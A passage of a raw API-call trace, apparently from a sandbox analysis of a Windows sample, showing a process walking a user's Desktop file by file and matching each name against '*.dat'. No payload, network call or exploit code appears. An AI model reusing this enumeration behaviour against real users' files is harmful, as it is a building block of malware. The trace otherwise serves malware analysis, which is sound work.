lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", lpUsedDefaultChar=0x0) returned 55 [0099.547] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b70 [0099.547] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaba0 | out: hHeap=0x2110000) returned 1 [0099.547] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.547] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.547] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.547] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.547] PathMatchSpecW (pszFile="sIIXwnEmeTmghbLvRDe.m4a", pszSpec="*.dat") returned 0 [0099.547] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0099.547] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36172650, ftCreationTime.dwHighDateTime=0x1d7a581, ftLastAccessTime.dwLowDateTime=0xf20cbf70, ftLastAccessTime.dwHighDateTime=0x1d7ac28, ftLastWriteTime.dwLowDateTime=0xf20cbf70, ftLastWriteTime.dwHighDateTime=0x1d7ac28, nFileSizeHigh=0x0, nFileSizeLow=0x473d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tx3sQn43qrAHw7-df.bmp", cAlternateFileName="TX3SQN~1.BMP")) returned 1 [0099.547] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.547] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.547] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="tx3sQn43qrAHw7-df.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp" [0099.547] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.547] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.547] lstrcatW (in: lpString1="\\", lpString2="tx3sQn43qrAHw7-df.bmp" | out: lpString1="\\tx3sQn43qrAHw7-df.bmp") returned="\\tx3sQn43qrAHw7-df.bmp" [0099.547] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0099.547] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x35) returned 0x33aabe0 [0099.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x33aabe0, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", lpUsedDefaultChar=0x0) returned 53 [0099.548] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112d20 [0099.548] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aabe0 | out: hHeap=0x2110000) returned 1 [0099.548] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.548] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113108 [0099.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113108, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.548] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113108 | out: hHeap=0x2110000) returned 1 [0099.548] PathMatchSpecW (pszFile="tx3sQn43qrAHw7-df.bmp", pszSpec="*.dat") returned 0 [0099.548] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0099.548] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbaeebe0, ftCreationTime.dwHighDateTime=0x1d7a734, ftLastAccessTime.dwLowDateTime=0x522839a0, ftLastAccessTime.dwHighDateTime=0x1d7a8d4, ftLastWriteTime.dwLowDateTime=0x522839a0, ftLastWriteTime.dwHighDateTime=0x1d7a8d4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzzsZtkMBK_y-2gskd.rtf", cAlternateFileName="TZZSZT~1.RTF")) returned 1 [0099.548] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.548] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.548] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="tzzsZtkMBK_y-2gskd.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf" [0099.548] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.548] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.548] lstrcatW (in: lpString1="\\", lpString2="tzzsZtkMBK_y-2gskd.rtf" | out: lpString1="\\tzzsZtkMBK_y-2gskd.rtf") returned="\\tzzsZtkMBK_y-2gskd.rtf" [0099.548] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.548] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33aaa60 [0099.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", cchWideChar=54, lpMultiByteStr=0x33aaa60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf", lpUsedDefaultChar=0x0) returned 54 [0099.548] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112780 [0099.548] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaa60 | out: hHeap=0x2110000) returned 1 [0099.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.548] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130a8 [0099.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130a8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.549] PathMatchSpecW (pszFile="tzzsZtkMBK_y-2gskd.rtf", pszSpec="*.dat") returned 0 [0099.549] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e7d2f0, ftCreationTime.dwHighDateTime=0x1d7a3aa, ftLastAccessTime.dwLowDateTime=0x28e0f540, ftLastAccessTime.dwHighDateTime=0x1d7aaab, ftLastWriteTime.dwLowDateTime=0x28e0f540, ftLastWriteTime.dwHighDateTime=0x1d7aaab, nFileSizeHigh=0x0, nFileSizeLow=0x11cf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TZ_q-uezvWtW997Slkqq.png", cAlternateFileName="TZ_Q-U~1.PNG")) returned 1 [0099.549] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.549] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.549] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="TZ_q-uezvWtW997Slkqq.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png" [0099.549] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.549] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.549] lstrcatW (in: lpString1="\\", lpString2="TZ_q-uezvWtW997Slkqq.png" | out: lpString1="\\TZ_q-uezvWtW997Slkqq.png") returned="\\TZ_q-uezvWtW997Slkqq.png" [0099.549] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0099.549] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x38) returned 0x33aac60 [0099.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", cchWideChar=56, lpMultiByteStr=0x33aac60, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\TZ_q-uezvWtW997Slkqq.png", lpUsedDefaultChar=0x0) returned 56 [0099.549] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112930 [0099.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.549] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130f0 [0099.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.549] PathMatchSpecW (pszFile="TZ_q-uezvWtW997Slkqq.png", pszSpec="*.dat") returned 0 [0099.549] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78c68a30, ftCreationTime.dwHighDateTime=0x1d7a00f, ftLastAccessTime.dwLowDateTime=0xe3c3b1a0, ftLastAccessTime.dwHighDateTime=0x1d7af4b, ftLastWriteTime.dwLowDateTime=0xe3c3b1a0, ftLastWriteTime.dwHighDateTime=0x1d7af4b, nFileSizeHigh=0x0, nFileSizeLow=0xb94f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unrrn7hms.png", cAlternateFileName="UNRRN7~1.PNG")) returned 1 [0099.549] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.549] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.549] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Unrrn7hms.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png" [0099.549] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.549] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.549] lstrcatW (in: lpString1="\\", lpString2="Unrrn7hms.png" | out: lpString1="\\Unrrn7hms.png") returned="\\Unrrn7hms.png" [0099.549] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.550] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x34300d0 [0099.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", cchWideChar=45, lpMultiByteStr=0x34300d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Unrrn7hms.png", lpUsedDefaultChar=0x0) returned 45 [0099.550] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.550] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fa0 [0099.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fa0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.550] PathMatchSpecW (pszFile="Unrrn7hms.png", pszSpec="*.dat") returned 0 [0099.550] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc7a12c0, ftCreationTime.dwHighDateTime=0x1d7af93, ftLastAccessTime.dwLowDateTime=0x6d11cbe0, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x6d11cbe0, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x18c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="V9oJDYviCbk0.jpg", cAlternateFileName="V9OJDY~1.JPG")) returned 1 [0099.550] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.550] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.550] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="V9oJDYviCbk0.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg" [0099.550] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.550] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.550] lstrcatW (in: lpString1="\\", lpString2="V9oJDYviCbk0.jpg" | out: lpString1="\\V9oJDYviCbk0.jpg") returned="\\V9oJDYviCbk0.jpg" [0099.550] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.550] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\V9oJDYviCbk0.jpg", lpUsedDefaultChar=0x0) returned 48 [0099.550] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.550] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.550] PathMatchSpecW (pszFile="V9oJDYviCbk0.jpg", pszSpec="*.dat") returned 0 [0099.550] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6db240, ftCreationTime.dwHighDateTime=0x1d7a31a, ftLastAccessTime.dwLowDateTime=0x777c4940, ftLastAccessTime.dwHighDateTime=0x1d7a428, ftLastWriteTime.dwLowDateTime=0x777c4940, ftLastWriteTime.dwHighDateTime=0x1d7a428, nFileSizeHigh=0x0, nFileSizeLow=0x121cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="w1JAUmkNtF5.odp", cAlternateFileName="W1JAUM~1.ODP")) returned 1 [0099.550] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.551] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.551] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="w1JAUmkNtF5.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp" [0099.551] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.551] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.551] lstrcatW (in: lpString1="\\", lpString2="w1JAUmkNtF5.odp" | out: lpString1="\\w1JAUmkNtF5.odp") returned="\\w1JAUmkNtF5.odp" [0099.551] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.551] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x34300d0 [0099.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\w1JAUmkNtF5.odp", lpUsedDefaultChar=0x0) returned 47 [0099.551] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.551] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.551] PathMatchSpecW (pszFile="w1JAUmkNtF5.odp", pszSpec="*.dat") returned 0 [0099.551] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33063f70, ftCreationTime.dwHighDateTime=0x1d7a516, ftLastAccessTime.dwLowDateTime=0xf1bf05d0, ftLastAccessTime.dwHighDateTime=0x1d7acf2, ftLastWriteTime.dwLowDateTime=0xf1bf05d0, ftLastWriteTime.dwHighDateTime=0x1d7acf2, nFileSizeHigh=0x0, nFileSizeLow=0x7647, dwReserved0=0x0, dwReserved1=0x0, cFileName="WiMEj.doc", cAlternateFileName="")) returned 1 [0099.551] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.551] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.551] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="WiMEj.doc" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc" [0099.551] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.551] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.551] lstrcatW (in: lpString1="\\", lpString2="WiMEj.doc" | out: lpString1="\\WiMEj.doc") returned="\\WiMEj.doc" [0099.551] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0099.551] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x29) returned 0x34300d0 [0099.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", cchWideChar=41, lpMultiByteStr=0x34300d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\WiMEj.doc", lpUsedDefaultChar=0x0) returned 41 [0099.551] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.552] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.552] PathMatchSpecW (pszFile="WiMEj.doc", pszSpec="*.dat") returned 0 [0099.552] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x764c2580, ftCreationTime.dwHighDateTime=0x1d7a93d, ftLastAccessTime.dwLowDateTime=0x24c3460, ftLastAccessTime.dwHighDateTime=0x1d7aada, ftLastWriteTime.dwLowDateTime=0x24c3460, ftLastWriteTime.dwHighDateTime=0x1d7aada, nFileSizeHigh=0x0, nFileSizeLow=0x2c91, dwReserved0=0x0, dwReserved1=0x0, cFileName="z0fYM8SfWqHwA 3.xls", cAlternateFileName="Z0FYM8~1.XLS")) returned 1 [0099.552] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.552] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.552] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="z0fYM8SfWqHwA 3.xls" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls") 